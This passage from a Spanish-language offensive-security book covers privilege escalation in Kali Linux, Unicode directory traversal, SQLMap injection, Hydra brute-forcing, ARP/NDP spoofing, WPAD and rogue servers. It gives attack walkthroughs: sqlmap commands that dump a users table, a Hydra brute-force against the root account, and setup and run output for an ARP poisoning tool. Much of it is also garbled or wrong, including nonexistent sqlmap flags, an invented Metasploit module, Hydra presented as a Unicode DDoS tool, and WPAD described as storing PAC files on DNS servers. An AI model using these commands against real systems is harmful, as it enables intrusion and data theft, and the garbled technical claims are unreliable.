Utilizando la contraseña del usuario: Si un atacante conoce la
contraseña de un usuario con privilegios, puede utilizarla
para iniciar sesión en la cuenta del usuario. Una vez que el
atacante ha iniciado sesión en la cuenta, puede acceder a
todos los recursos a los que tiene acceso el usuario.
Explotando una vulnerabilidad de seguridad: Los atacantes
pueden utilizar vulnerabilidades de seguridad para tomar el
control de las cuentas de usuarios con privilegios. Una vez
que el atacante ha tomado el control de la cuenta, puede
acceder a todos los recursos a los que tiene acceso el
usuario.
Cómo escalar los privilegios de un usuario en Kali Linux
En Kali Linux, hay una serie de scripts, programas y softwares
gratuitos que se pueden utilizar para escalar los privilegios
de un usuario.
Scripts
LinEnum: LinEnum es un script que enumera las vulnerabilidades
y configuraciones vulnerables en un sistema Linux. Este script
puede ser utilizado para identificar vulnerabilidades que se
pueden utilizar para escalar los privilegios.
Sudo -l: El comando sudo -l muestra los comandos que un
usuario puede ejecutar con privilegios elevados. Este comando
puede ser utilizado para identificar comandos que se pueden
utilizar para escalar los privilegios.
190
Getuid: El comando getuid devuelve el ID de usuario efectivo
del proceso actual. Este comando puede ser utilizado para
identificar si un usuario tiene privilegios elevados.
Programas
Metasploit: Metasploit es un framework de pruebas de
penetración que incluye un módulo para escalar los
privilegios. Este módulo puede ser utilizado para explotar
vulnerabilidades conocidas para escalar los privilegios.
Nmap: Nmap es una herramienta de escaneo de puertos que puede
ser utilizada para identificar puertos abiertos en un sistema.
Estos puertos abiertos pueden ser utilizados para escalar los
privilegios.
Wireshark: Wireshark es una herramienta de captura de paquetes
que puede ser utilizada para capturar el tráfico de red. Este
tráfico de red puede ser utilizado para identificar
contraseñas o credenciales de acceso que se pueden utilizar
para escalar los privilegios.
Software
Privilege Escalation Checklist: Privilege Escalation Checklist
es una lista de verificación que puede ser utilizada para
identificar vulnerabilidades que se pueden utilizar para
escalar los privilegios.
Privilege Escalation Toolkit: Privilege Escalation Toolkit es
un conjunto de herramientas que puede ser utilizado para
escalar los privilegios.
191
Privilege Escalation Cheat Sheet: Privilege Escalation Cheat
Sheet es una hoja de trucos que proporciona información sobre
cómo escalar los privilegios.
Ejemplos de escalada de privilegios
A continuación se muestran algunos ejemplos de cómo se puede
escalar los privilegios de un usuario en Kali Linux:
Explotando una vulnerabilidad: Un atacante podría explotar una
vulnerabilidad conocida en un sistema para tomar el control de
una cuenta de usuario con privilegios.
Utilizando una contraseña conocida: Un atacante podría
utilizar una contraseña conocida para iniciar sesión en una
cuenta de usuario con privilegios.
Utilizando un exploit: Un atacante podría utilizar un exploit
para elevar los privilegios de un usuario sin necesidad de
contraseñas o credenciales de acceso.
Instalación de Metasploit en Kali Linux
Metasploit ya está instalado en Kali Linux de forma
predeterminada. Para comprobarlo, abra una terminal y escriba
el siguiente comando:
msfconsole
Si Metasploit está instalado, verá el siguiente mensaje:
[!] No se ha encontrado una base de datos de módulos. Por
192
favor, use el comando "msfdb init" para crear una base de
datos.
[!] No se ha encontrado un perfil de usuario. Por favor, use
el comando "db_profile" para crear un perfil de usuario.
Para crear una base de datos de módulos, escriba el siguiente
comando:
msfdb init
Para crear un perfil de usuario, escriba el siguiente comando:
db_profile
Escalado de privilegios en Kali Linux
Para escalar privilegios en un dispositivo vulnerable, debemos
seguir los siguientes pasos:
Encontrar una vulnerabilidad
El primer paso es encontrar una vulnerabilidad en el
dispositivo objetivo. Podemos realizar una búsqueda de
vulnerabilidades en línea o utilizar una herramienta de
escaneo de vulnerabilidades como Nmap o Nessus.
Explotar la vulnerabilidad
Una vez que hayamos encontrado una vulnerabilidad, podemos
utilizar Metasploit para explotarla. Para ello, usaremos el
193
módulo de exploit correspondiente para la vulnerabilidad que
hayamos encontrado.
Obtener una sesión
Si la explotación es exitosa, obtendremos una sesión en el
dispositivo objetivo. Esta sesión nos permitirá ejecutar
comandos en el dispositivo como un usuario privilegiado.
Escalar privilegios
Una vez que tengamos una sesión, podemos intentar escalar
privilegios. Para ello, podemos utilizar una variedad de
técnicas, como aprovechar vulnerabilidades en los servicios,
archivos o configuraciones del dispositivo.
Ejemplo de escalado de privilegios en Kali Linux
Para ilustrar el proceso de escalado de privilegios, vamos a
utilizar un ejemplo sencillo. Supongamos que el dispositivo
objetivo tiene una vulnerabilidad en el servicio Apache.
Podemos utilizar Metasploit para explotar esta vulnerabilidad
y obtener una sesión en el dispositivo objetivo.
Una vez que tengamos una sesión, podemos intentar escalar
privilegios utilizando una técnica conocida como suplantación
de identidad de root. Para ello, ejecutaremos el siguiente
comando:
run exploit/unix/local/priv_escalation/su_to_root
Este comando intentará suplantar la identidad del usuario
root. Si la suplantación es exitosa, obtendremos privilegios
194
elevados en el dispositivo objetivo.
Técnicas de escalado de privilegios
Hay una variedad de técnicas que se pueden utilizar para
escalar privilegios. Algunas de las técnicas más comunes
incluyen:
Explotar vulnerabilidades en los servicios
Muchos servicios se ejecutan con privilegios elevados. Si
podemos encontrar una vulnerabilidad en uno de estos
servicios, podemos explotarla para obtener privilegios
elevados.
Usar vulnerabilidades en archivos o configuraciones
También podemos intentar escalar privilegios aprovechando
vulnerabilidades en archivos o configuraciones del
dispositivo. Por ejemplo, podemos intentar explotar una
vulnerabilidad en un archivo de configuración para otorgarnos
privilegios elevados.
Usar vulnerabilidades en la configuración del sistema
Podemos intentar escalar privilegios aprovechando
vulnerabilidades en la configuración del sistema. Por ejemplo,
podemos intentar explotar una vulnerabilidad en la
configuración de sudo para otorgarnos privilegios elevados.
Usar vulnerabilidades en el hardware
En algunos casos, podemos intentar escalar privilegios
195
aprovechando vulnerabilidades en el hardware del dispositivo.
Por ejemplo, podemos intentar explotar una vulnerabilidad en
la memoria del dispositivo para obtener acceso a la memoria
del kernel.
Capítulo 15:
Directorios de
Vulnerabilidades
Transversales
UNICODE
¿Qué son las vulnerabilidades transversales de
196
directorios UNICODE?
Las vulnerabilidades transversales de directorios UNICODE son
vulnerabilidades de seguridad que permiten a los atacantes
acceder a archivos o directorios que no están destinados a
ellos. Estas vulnerabilidades se producen cuando un servidor
web no valida correctamente las solicitudes de directorios
UNICODE.
Cómo funcionan las vulnerabilidades transversales
de directorios UNICODE
Las vulnerabilidades transversales de directorios UNICODE
funcionan aprovechando la capacidad de los caracteres UNICODE
para representar caracteres ASCII y no ASCII. Los atacantes
pueden utilizar esta capacidad para crear solicitudes de
directorios que contengan caracteres no ASCII. Si el servidor
web no valida correctamente estas solicitudes, el atacante
puede acceder a archivos o directorios que no están destinados
a él.
Ejemplos de vulnerabilidades transversales de
directorios UNICODE
Un ejemplo de vulnerabilidad transversal de directorios
UNICODE es un servidor web que no valida correctamente las
solicitudes de directorios que contienen caracteres no ASCII.
Por ejemplo, un atacante podría enviar la siguiente solicitud
a un servidor web:
/[Link]%252Ephp
Esta solicitud se convertirá en la siguiente solicitud en el
servidor web:
197
/[Link]
Si el servidor web no valida correctamente la solicitud, el
atacante podría acceder al archivo [Link], que podría
contener código malicioso.
Tipos de vulnerabilidades transversales de
directorios UNICODE
Hay dos tipos principales de vulnerabilidades transversales de
directorios UNICODE:
Vulnerabilidades de directorios absolutos: Estas
vulnerabilidades permiten a los atacantes acceder a
directorios que están fuera de la raíz del sitio web.
Vulnerabilidades de directorios relativos: Estas
vulnerabilidades permiten a los atacantes acceder a
directorios que están dentro de la raíz del sitio web.
Cómo detectar las vulnerabilidades transversales
de directorios UNICODE
Las vulnerabilidades transversales de directorios UNICODE se
pueden detectar utilizando herramientas de escaneo de
vulnerabilidades. Estas herramientas pueden realizar pruebas
de fuzzing en los directorios de un sitio web para buscar
solicitudes que puedan explotar vulnerabilidades.
Cómo mitigar las vulnerabilidades transversales
de directorios UNICODE
198
Las vulnerabilidades transversales de directorios UNICODE se
pueden mitigar validando correctamente las solicitudes de
directorios UNICODE. Los servidores web deben implementar una
validación que compruebe que las solicitudes solo contengan
caracteres ASCII.
Consecuencias de las vulnerabilidades
transversales de directorios UNICODE
Las vulnerabilidades transversales de directorios UNICODE
pueden tener una serie de consecuencias graves, como:
Exposición de información confidencial: Los atacantes pueden
utilizar estas vulnerabilidades para acceder a archivos o
directorios que contienen información confidencial, como
contraseñas, datos financieros o información personal.
Inyección de código: Los atacantes pueden utilizar estas
vulnerabilidades para inyectar código malicioso en un sitio
web.
Denial of service (DoS): Los atacantes pueden utilizar estas
vulnerabilidades para realizar ataques de denegación de
servicio (DoS).
Recomendaciones para mitigar las vulnerabilidades
transversales de directorios UNICODE
Para mitigar las vulnerabilidades transversales de directorios
UNICODE, se recomienda:
Utilizar herramientas de escaneo de vulnerabilidades para
199
detectar vulnerabilidades.
Validar correctamente las solicitudes de directorios UNICODE.
Actualizar los sistemas y software a la última versión
disponible.
Implementar políticas de seguridad adecuadas.
¿Cómo se pueden utilizar las vulnerabilidades
transversales de directorios UNICODE para obtener
acceso a información confidencial?
Las vulnerabilidades transversales de directorios UNICODE se
pueden utilizar para obtener acceso a información confidencial
de varias maneras. Por ejemplo, los atacantes pueden utilizar
estas vulnerabilidades para acceder a:
Archivos de configuración: Los archivos de configuración
pueden contener contraseñas, información de tarjetas de
crédito o otra información confidencial.
Bases de datos: Las bases de datos pueden contener información
personal, como nombres, direcciones y números de teléfono.
Archivos de registro: Los archivos de registro pueden contener
información sobre las actividades de los usuarios, como las
páginas web que han visitado o las acciones que han realizado.
Ejemplos de cómo se pueden utilizar las vulnerabilidades
transversales de directorios UNICODE para obtener acceso a
información confidencial:
200
Un atacante podría utilizar una vulnerabilidad transversal de
directorios UNICODE para acceder a un archivo de configuración
que contiene las contraseñas de los usuarios de un sitio web.
Un atacante podría utilizar una vulnerabilidad transversal de
directorios UNICODE para acceder a una base de datos que
contiene información personal de los clientes de una empresa.
Un atacante podría utilizar una vulnerabilidad transversal de
directorios UNICODE para acceder a los archivos de registro de
un sitio web para obtener información sobre las actividades de
los usuarios.
¿Cómo se pueden utilizar las vulnerabilidades
transversales de directorios UNICODE para
realizar ataques de inyección de código?
Las vulnerabilidades transversales de directorios UNICODE se
pueden utilizar para realizar ataques de inyección de código
de varias maneras. Por ejemplo, los atacantes pueden utilizar
estas vulnerabilidades para:
Crear archivos que contengan código malicioso: Los atacantes
pueden crear archivos que contengan código malicioso, como
scripts de shell o código PHP. Estos archivos se pueden crear
en directorios accesibles al público, como el directorio raíz
de un sitio web.
Modificar archivos existentes para que contengan código
malicioso: Los atacantes pueden modificar archivos existentes
para que contengan código malicioso. Esto se puede hacer
utilizando una vulnerabilidad transversal de directorios
UNICODE para acceder al archivo y luego modificarlo.
201
Inyectar código malicioso en una página web: Los atacantes
pueden inyectar código malicioso en una página web. Esto se
puede hacer utilizando una vulnerabilidad transversal de
directorios UNICODE para acceder a la página web y luego
inyectar código malicioso en el código fuente de la página.
Ejemplos de cómo se pueden utilizar las vulnerabilidades
transversales de directorios UNICODE para realizar ataques de
inyección de código:
Un atacante podría utilizar una vulnerabilidad transversal de
directorios UNICODE para crear un archivo PHP malicioso en el
directorio raíz de un sitio web. Este archivo podría contener
código malicioso que se ejecutaría cuando un usuario visitara
el sitio web.
Un atacante podría utilizar una vulnerabilidad transversal de
directorios UNICODE para modificar un archivo de configuración
que contiene las credenciales de acceso de un servidor. Este
archivo modificado podría contener las credenciales de acceso
del servidor, que el atacante podría utilizar para acceder al
servidor y ejecutar código malicioso.
Un atacante podría utilizar una vulnerabilidad transversal de
directorios UNICODE para inyectar código malicioso en una
página web de comercio electrónico. Este código malicioso
podría robar las credenciales de los usuarios cuando
realizaran compras en el sitio web.
¿como inyectar un ataque de inyeccion de codigo con SQLMap?
Para inyectar un ataque de inyección de código con SQLMap,
siga estos pasos:
Instale SQLMap.
202
Si aún no tiene SQLMap instalado, puede instalarlo usando el
siguiente comando:
apt install sqlmap
Elija un objetivo.
Debe elegir un objetivo que sea vulnerable a la inyección SQL.
Puede utilizar una herramienta de escaneo de vulnerabilidades
para encontrar objetivos vulnerables.
Identifique el parámetro vulnerable.
Una vez que haya encontrado un objetivo vulnerable, debe
identificar el parámetro vulnerable. Esto se puede hacer
enviando una solicitud HTTP a la aplicación web y observando
la respuesta.
Inicie SQLMap.
Para iniciar SQLMap, utilice el siguiente comando:
sqlmap
sqlmap -u <URL>
Donde <URL> es la URL de la aplicación web que desea atacar.
Especifique el parámetro vulnerable.
203
Para especificar el parámetro vulnerable, utilice el siguiente
comando:
sqlmap -u <URL> --dbms <DBMS> --table <TABLE> --column
<COLUMN> --type <TYPE>
Donde:
<DBMS> es el tipo de base de datos que utiliza la aplicación
web.
<TABLE> es la tabla que contiene los datos que desea extraer.
<COLUMN> es la columna que contiene los datos que desea
extraer.
<TYPE> es el tipo de datos de la columna.
Por ejemplo, para atacar un sitio web que utiliza una base de
datos MySQL, una tabla llamada users y una columna llamada
username, utilice el siguiente comando:
sqlmap -u <URL> --dbms mysql --table users --column username
Ejecute el ataque.
Para ejecutar el ataque, utilice el siguiente comando:
sqlmap -u <URL> --dbms <DBMS> --table <TABLE> --column
204
<COLUMN> --type <TYPE> --dump
Este comando extraerá los datos de la columna especificada.
Examine los resultados.
Los resultados del ataque se mostrarán en la pantalla. Puede
utilizar estos resultados para obtener información sobre la
aplicación web o para realizar otros ataques.
Detalles de los comandos y valores
Los siguientes comandos y valores se utilizan en los pasos
anteriores:
-u: Especifica la URL de la aplicación web que desea atacar.
--dbms: Especifica el tipo de base de datos que utiliza la
aplicación web.
--table: Especifica la tabla que contiene los datos que desea
extraer.
--column: Especifica la columna que contiene los datos que
desea extraer.
--type: Especifica el tipo de datos de la columna.
--dump: Extrae los datos de la columna especificada.
205
Ejemplo
Para ilustrar cómo utilizar SQLMap, consideremos el siguiente
ejemplo:
# Instale SQLMap
apt install sqlmap
# Identifique el objetivo
wget [Link]
# Identifique el parámetro vulnerable
curl -i [Link]
# Inicie SQLMap
sqlmap -u [Link] --dbms mysql --table
users --column username
# Ejecute el ataque
sqlmap -u [Link] --dbms mysql --table
users --column username --dump
Este ejemplo ataca un sitio web que utiliza una base de datos
MySQL, una tabla llamada users y una columna llamada username.
206
El primer comando instala SQLMap.
El segundo comando descarga la página de inicio del sitio web.
El tercer comando envía una solicitud HTTP a la página de
inicio, especificando el parámetro id con un valor de 1.
El cuarto comando inicia SQLMap y especifica la URL del sitio
web.
El quinto comando ejecuta el ataque y extrae los datos de la
columna username.
Ataques avanzados
SQLMap puede realizar una variedad de ataques avanzados,
incluyendo:
Ejecución de código arbitrario: SQLMap puede ejecutar código
arbitrario en el servidor web.
Escalada de privilegios: SQLMap puede elevar los privilegios
del usuario para acceder a datos o recursos que no están
disponibles para usuarios normales.
Inyección de shell: SQLMap puede inyectar una shell en el
servidor web.
¿Cómo se pueden utilizar las vulnerabilidades transversales de
directorios UNICODE para realizar ataques de denegación de
servicio?
Las vulnerabilidades transversales de directorios UNICODE
207
pueden utilizarse para realizar ataques de denegación de
servicio (DDoS) mediante el envío de solicitudes HTTP que
contienen caracteres UNICODE especiales. Estos caracteres
pueden causar que el servidor web se bloquee o que consuma una
gran cantidad de recursos, lo que puede provocar que el sitio
web se vuelva inaccesible para los usuarios legítimos.
Para realizar un ataque de DDoS mediante una vulnerabilidad
transversal de directorios UNICODE, el atacante debe
identificar un sitio web que sea vulnerable a este tipo de
ataque. Esto se puede hacer mediante una herramienta de
escaneo de vulnerabilidades o mediante el envío de solicitudes
HTTP a diferentes partes del sitio web y observando las
respuestas.
Una vez que el atacante haya identificado un sitio web
vulnerable, puede enviar solicitudes HTTP que contengan
caracteres UNICODE especiales. Estos caracteres pueden causar
que el servidor web se bloquee o que consuma una gran cantidad
de recursos.
Los siguientes son algunos ejemplos de caracteres
UNICODE que pueden utilizarse para realizar
ataques de DDoS:
Caracteres Unicode con codificación UTF-8 larga: Estos
caracteres tienen una codificación UTF-8 larga, lo que
significa que requieren más espacio para almacenarse. El envío
de solicitudes HTTP que contienen estos caracteres puede
causar que el servidor web se quede sin memoria.
Caracteres Unicode con codificación UTF-8 ambigua: Estos
caracteres tienen una codificación UTF-8 ambigua, lo que
significa que pueden interpretarse de varias maneras. El envío
de solicitudes HTTP que contienen estos caracteres puede
causar que el servidor web se bloquee o que produzca
resultados inesperados.
208
Caracteres Unicode con codificación UTF-8 no válida: Estos
caracteres tienen una codificación UTF-8 no válida, lo que
significa que no son válidos según el estándar UTF-8. El envío
de solicitudes HTTP que contienen estos caracteres puede
causar que el servidor web se bloquee o que produzca
resultados inesperados.
Ralizar un Ataque DDoS con Hydra a un sitio con
vulnerabilidades transversales de directorios UNICODE
Instale Hydra:
apt install hydra
Identifique el sitio web vulnerable:
wget [Link]
Inicie Hydra:
Hydra
hydra -l root -P /usr/share/wordlists/[Link] -t 100
[Link]
Explicación de los comandos:
hydra es el comando para iniciar Hydra.
209
-l root es el nombre de usuario que desea probar.
-P /usr/share/wordlists/[Link] es la lista de contraseñas
que desea probar.
-t 100 es el número de peticiones HTTP que desea enviar por
segundo.
Explicación de la solicitud HTTP:
GET /FUZZ HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0)
Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=
0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
GET es el método HTTP que se utiliza para solicitar una página
web.
/FUZZ es la ruta de la página web que desea solicitar.
Host es el nombre de dominio del sitio web que desea
solicitar.
User-Agent es el agente de usuario que utiliza para realizar
210
la solicitud.
Accept es el tipo de contenido que acepta la solicitud.
Accept-Language es el idioma que acepta la solicitud.
Accept-Encoding es el tipo de codificación que acepta la
solicitud.
Connection es el tipo de conexión que desea utilizar.
Explicación del ataque:
El ataque funciona enviando solicitudes HTTP con caracteres
UNICODE especiales a un servidor web que es vulnerable a
vulnerabilidades transversales de directorios UNICODE. Estos
caracteres pueden causar que el servidor web se bloquee o que
consuma una gran cantidad de recursos.
En este ejemplo, la solicitud HTTP contiene el parámetro FUZZ.
Este parámetro es una cadena de caracteres UNICODE especial
que puede causar que el servidor web se bloquee.
La cantidad de peticiones HTTP que envía Hydra por segundo se
especifica con el parámetro -t. En este ejemplo, Hydra envía
100 peticiones HTTP por segundo.
211
Capítulo 16:
Neighbor Spoofing
¿Qué es el Neighbor Spoofing?
El Neighbor Spoofing es una técnica de ataque en la que un
atacante suplanta la identidad de un dispositivo vecino en una
red local. Esto le permite al atacante enviar tráfico
malicioso a otros dispositivos en la red.
El Neighbor Spoofing funciona enviando paquetes de datos
fraudulentos a otros dispositivos en la red. Estos paquetes de
datos contienen información falsa sobre la dirección MAC del
atacante. Cuando un dispositivo recibe un paquete de datos de
un dispositivo vecino, utiliza la dirección MAC para
identificar al dispositivo. Si la dirección MAC del atacante
coincide con la dirección MAC de un dispositivo vecino, el
dispositivo aceptará el paquete de datos.
Hay dos tipos principales de Neighbor Spoofing:
212
ARP Spoofing: Este es el tipo más común de Neighbor Spoofing.
En el ARP Spoofing, el atacante envía paquetes de datos ARP
fraudulentos a otros dispositivos en la red. Estos paquetes de
datos contienen información falsa sobre la dirección MAC del
atacante.
NDP Spoofing: Este tipo de Neighbor Spoofing se utiliza en
redes IPv6. En el NDP Spoofing, el atacante envía paquetes de
datos NDP fraudulentos a otros dispositivos en la red. Estos
paquetes de datos contienen información falsa sobre la
dirección MAC del atacante.
El Neighbor Spoofing puede utilizarse para
realizar una variedad de ataques, incluyendo:
Interceptación de tráfico: El atacante puede interceptar el
tráfico entre otros dispositivos en la red.
Inyección de malware: El atacante puede inyectar malware en el
tráfico entre otros dispositivos en la red.
Denegación de servicio: El atacante puede causar que otros
dispositivos en la red se bloqueen o que dejen de funcionar.
¿Cómo funciona el Neighbor Spoofing?
El Neighbor Spoofing funciona enviando paquetes de datos
fraudulentos a otros dispositivos en la red. Estos paquetes de
datos contienen información falsa sobre la dirección MAC del
atacante. Cuando un dispositivo recibe un paquete de datos de
un dispositivo vecino, utiliza la dirección MAC para
identificar al dispositivo. Si la dirección MAC del atacante
coincide con la dirección MAC de un dispositivo vecino, el
213
dispositivo aceptará el paquete de datos.
En el caso del ARP Spoofing, el atacante envía paquetes de
datos ARP fraudulentos a otros dispositivos en la red. Estos
paquetes de datos contienen información falsa sobre la
dirección MAC del atacante. Por ejemplo, el atacante puede
enviar un paquete de datos ARP que indique que la dirección
MAC del atacante es la misma que la dirección MAC de un
servidor DNS. Cuando un dispositivo necesita resolver una
dirección IP a una dirección MAC, enviará un paquete de datos
ARP al atacante. El atacante, que ahora tiene la dirección MAC
del dispositivo, puede enviar tráfico malicioso al
dispositivo.
En el caso del NDP Spoofing, el atacante envía paquetes de
datos NDP fraudulentos a otros dispositivos en la red. Estos
paquetes de datos contienen información falsa sobre la
dirección MAC del atacante. Por ejemplo, el atacante puede
enviar un paquete de datos NDP que indique que la dirección
MAC del atacante es la misma que la dirección MAC de un
servidor DHCP. Cuando un dispositivo necesita obtener una
dirección IP, enviará un paquete de datos NDP al atacante. El
atacante, que ahora tiene la dirección MAC del dispositivo,
puede enviar tráfico malicioso al dispositivo.
El Neighbor Spoofing es un ataque relativamente sencillo de
realizar, pero puede tener un gran impacto en la seguridad de
una red.
diferentes técnicas que se utilizan para realizar
ataques de Neighbor Spoofing
Hay una serie de técnicas diferentes que se pueden utilizar
para realizar ataques de Neighbor Spoofing. Estas técnicas se
pueden clasificar en dos categorías principales:
Técnicas activas: Estas técnicas implican el envío de paquetes
214
de datos fraudulentos a otros dispositivos en la red.
Técnicas pasivas: Estas técnicas implican la escucha del
tráfico de la red para obtener información que pueda
utilizarse para realizar un ataque.
Técnicas activas
Las técnicas activas son las más comunes para realizar ataques
de Neighbor Spoofing. Estas técnicas implican el envío de
paquetes de datos fraudulentos a otros dispositivos en la red.
Los paquetes de datos fraudulentos contienen información falsa
sobre la dirección MAC del atacante.
Los paquetes de datos fraudulentos más comunes que se utilizan
para realizar ataques de Neighbor Spoofing son los paquetes de
datos ARP y NDP.
Técnicas pasivas
Las técnicas pasivas son menos comunes para realizar ataques
de Neighbor Spoofing. Estas técnicas implican la escucha del
tráfico de la red para obtener información que pueda
utilizarse para realizar un ataque.
Las técnicas pasivas más comunes que se utilizan para realizar
ataques de Neighbor Spoofing son las siguientes:
Análisis de tráfico: El atacante puede analizar el tráfico de
la red para identificar las direcciones IP y MAC de los
dispositivos objetivo.
Eavesdropping: El atacante puede escuchar el tráfico de la red
215
para capturar paquetes de datos ARP o NDP que se envían entre
dispositivos.
Ejemplos de ataques de Neighbor Spoofing
realizar un ataque de Neighbor Spoofing con ARPPoisoning
Instalación de ARPPoisoning
Requisitos:
Sistema operativo Linux o macOS
Python 3
Instalación:
Abre una terminal y clona el repositorio de ARPPoisoning:
git clone [Link]
Dirígete a la carpeta del repositorio:
cd ARPPoisoning
Instala las dependencias:
pip install -r [Link]
216
2. Configuración de ARPPoisoning
Opciones de configuración:
interface: La interfaz de red a través de la cual se enviarán
los paquetes ARP.
gateway: La dirección IP de la puerta de enlace
predeterminada.
targets: Una lista de direcciones IP de los dispositivos
objetivo.
interval: El intervalo de tiempo en segundos entre el envío de
paquetes ARP.
Configuración:
Abre el archivo [Link] con un editor de texto.
En la sección interface, especifica la interfaz de red a
través de la cual se enviarán los paquetes ARP.
En la sección gateway, especifica la dirección IP de la puerta
de enlace predeterminada.
En la sección targets, especifica una lista de direcciones IP
de los dispositivos objetivo.
217
En la sección interval, especifica el intervalo de tiempo en
segundos entre el envío de paquetes ARP.
3. Realización del ataque
Para realizar el ataque, ejecuta el siguiente comando:
python3 [Link]
El ataque se iniciará y los paquetes ARP fraudulentos se
enviarán a los dispositivos objetivo.
Ejemplo de configuración
# Configuración de la interfaz de red
interface = 'eth0'
# Configuración de la puerta de enlace predeterminada
gateway = '[Link]'
# Configuración de los dispositivos objetivo
targets = ['[Link]', '[Link]']
# Configuración del intervalo de envío de paquetes ARP
218
interval = 1
Ejemplo de ataque
$ python3 [Link]
[!] Starting ARP poisoning attack
[!] Sending ARP response for [Link] to [Link]
[!] Sending ARP response for [Link] to [Link]
[!] ARP poisoning attack started
Capítulo 17: Web
Proxy Autodiscovery
219
¿Qué es WPAD?
WPAD es un protocolo que utiliza la resolución de DNS para
encontrar un proxy web. El protocolo utiliza un archivo de
configuración llamado [Link], que se almacena en el servidor
DNS. El archivo [Link] contiene información sobre el proxy
web, como la dirección IP del proxy y el número de puerto.
Cómo funciona WPAD
Cuando un dispositivo de red necesita acceder a un sitio web,
envía una solicitud de resolución DNS al servidor DNS. La
solicitud de resolución DNS incluye el nombre de dominio del
sitio web. El servidor DNS responde a la solicitud con la
dirección IP del sitio web.
Si el servidor DNS también almacena un archivo [Link], el
servidor DNS incluirá la dirección del archivo [Link] en la
respuesta de resolución DNS.
El dispositivo de red utiliza la dirección del archivo
[Link] para descargar el archivo [Link]. El dispositivo de
red utiliza la información en el archivo [Link] para
conectarse al proxy web.
220
Ventajas de WPAD
WPAD tiene varias ventajas, que incluyen:
Facilidad de uso: WPAD hace que sea fácil para los usuarios
configurar un proxy web. Los usuarios no tienen que configurar
manualmente el proxy web en sus dispositivos.
Escalabilidad: WPAD es escalable, lo que significa que puede
utilizarse en redes grandes.
Seguridad: WPAD utiliza la resolución de DNS para encontrar un
proxy web. Esto ayuda a proteger la seguridad de la red.
Desventajas de WPAD
WPAD también tiene algunas desventajas, que incluyen:
Seguridad: WPAD puede ser vulnerable a ataques de man-in-the-
middle. Un atacante puede interceptar las solicitudes de
resolución DNS y modificar la respuesta para que apunte a un
proxy web malicioso.
Compatibilidad: WPAD no es compatible con todos los
dispositivos.
Cómo configurar WPAD
Para configurar WPAD, siga estos pasos:
221
Cree un archivo [Link] en el servidor DNS. El archivo
[Link] debe contener la siguiente información:
La dirección IP del proxy web
El número de puerto del proxy web
El tipo de proxy web
Guarde el archivo [Link] en el directorio raíz del servidor
DNS.
Configure el servidor DNS para que responda a las solicitudes
de resolución DNS para el nombre de dominio wpad. con la
dirección IP del servidor DNS.
Cómo deshabilitar WPAD
Para deshabilitar WPAD, siga estos pasos:
Configure el servidor DNS para que no responda a las
solicitudes de resolución DNS para el nombre de dominio wpad.
Configure los dispositivos de red para que utilicen un proxy
web específico.
222
Capítulo 18:
Servidores Rogue
¿Qué es un servidor rogue?
Un servidor rogue es un servidor malicioso que se hace pasar
por un servidor legítimo. Los servidores rogue suelen ser
utilizados por atacantes para realizar ataques, como:
Interceptación de tráfico: Los atacantes pueden utilizar
servidores rogue para interceptar el tráfico entre
dispositivos. Esto les permite robar datos confidenciales,
como contraseñas o información de identificación personal.
Inyección de malware: Los atacantes pueden utilizar servidores
rogue para inyectar malware en el tráfico. Esto puede causar
que los dispositivos se infecten con malware, lo que puede
permitir al atacante controlar los dispositivos o robar datos.
Denegación de servicio: Los atacantes pueden utilizar
223
servidores rogue para realizar ataques de denegación de
servicio (DDoS). Esto puede causar que los sitios web o
servicios se vuelvan inaccesibles.
Cómo funcionan los servidores rogue
Los servidores rogue suelen ser configurados por atacantes en
redes no seguras. Los atacantes pueden utilizar una variedad
de técnicas para configurar servidores rogue, como:
Ataques de inyección: Los atacantes pueden utilizar ataques de
inyección para insertar código malicioso en los servidores
legítimos.
Ataques de fuerza bruta: Los atacantes pueden utilizar ataques
de fuerza bruta para adivinar las contraseñas de los
servidores legítimos.
Ataques de phishing: Los atacantes pueden utilizar ataques de
phishing para engañar a los usuarios para que proporcionen
información confidencial, como contraseñas o direcciones IP.
Cómo detectar servidores rogue
Existen una serie de técnicas que se pueden utilizar para
detectar servidores rogue, como:
Análisis de tráfico: Los administradores de red pueden
utilizar herramientas de análisis de tráfico para detectar
tráfico inusual.
Monitorización de DNS: Los administradores de red pueden
utilizar herramientas de monitorización de DNS para detectar
224
solicitudes de resolución DNS para servidores no autorizados.
Análisis de puertos: Los administradores de red pueden
utilizar herramientas de análisis de puertos para detectar
servidores que están escuchando en puertos no autorizados.
¿Cómo se puede utilizar un servidor rogue para
realizar un ataque de phishing?
Un servidor rogue puede ser utilizado para realizar un ataque
de phishing mediante la creación de un sitio web falso que se
hace pasar por un sitio web legítimo. El atacante puede
entonces enviar un correo electrónico o mensaje de texto a la
víctima que contiene un enlace al sitio web falso. Cuando la
víctima hace clic en el enlace, se le redirige al sitio web
falso, donde se le solicita que proporcione información
confidencial.
Por ejemplo, un atacante podría crear un sitio web falso que
se haga pasar por el sitio web de un banco. El atacante luego
podría enviar un correo electrónico a las víctimas que
contiene un enlace al sitio web falso. Cuando las víctimas
hacen clic en el enlace, se les redirige al sitio web falso,
donde se les solicita que proporcionen su número de cuenta
bancaria y su contraseña.
El atacante luego puede utilizar la información confidencial
que ha recopilado para realizar transacciones fraudulentas en
nombre de las víctimas.
Aquí hay un resumen de los pasos involucrados en un ataque de
phishing utilizando un servidor rogue:
El atacante crea un sitio web falso que se hace pasar por un
sitio web legítimo.
225
El atacante envía un correo electrónico o mensaje de texto a
la víctima que contiene un enlace al sitio web falso.
Cuando la víctima hace clic en el enlace, se le redirige al
sitio web falso.
El sitio web falso solicita a la víctima que proporcione
información confidencial.
El atacante recopila la información confidencial de la
víctima.
El atacante utiliza la información confidencial para realizar
transacciones fraudulentas en nombre de la víctima.
¿Cómo se puede utilizar un servidor rogue para
inyectar malware en un dispositivo?
Un servidor rogue se puede utilizar para inyectar malware en
un dispositivo de varias maneras. Una forma es mediante un
ataque de inyección de código. En un ataque de inyección de
código, el atacante introduce código malicioso en un sitio web
legítimo. Cuando un usuario visita el sitio web, el código
malicioso se ejecuta en el dispositivo del usuario y descarga
o instala malware en el dispositivo.
Otra forma de inyectar malware en un dispositivo mediante un
servidor rogue es mediante un ataque de drive-by download. En
un ataque de drive-by download, el atacante modifica un sitio
web legítimo para que cargue malware en el dispositivo del
usuario cuando el usuario visita el sitio web.
